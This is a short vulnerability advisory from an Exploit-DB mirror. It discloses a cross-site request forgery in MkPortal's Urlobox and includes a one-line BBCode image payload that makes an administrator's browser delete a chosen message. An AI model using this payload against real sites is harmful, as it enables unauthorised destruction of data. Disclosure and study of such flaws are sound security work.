exploit-db-mirror/platforms/php/webapps/2977.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

12 lines
359 B
Text
Executable file

MkPortal Urlobox Cross Site Request Forgery
Discovered by: Demential
Web: http://www.burnhead.it
E-mail: info@burnhead.it
Mkportal website: http://www.mkportal.it
posting [img]?ind=urlobox&op=delete&idurlo=X[/img] in MkPortal urlobox
where X is an ID of a message,
when administrator opens urlobox page message X will be erased.
# milw0rm.com [2006-12-21]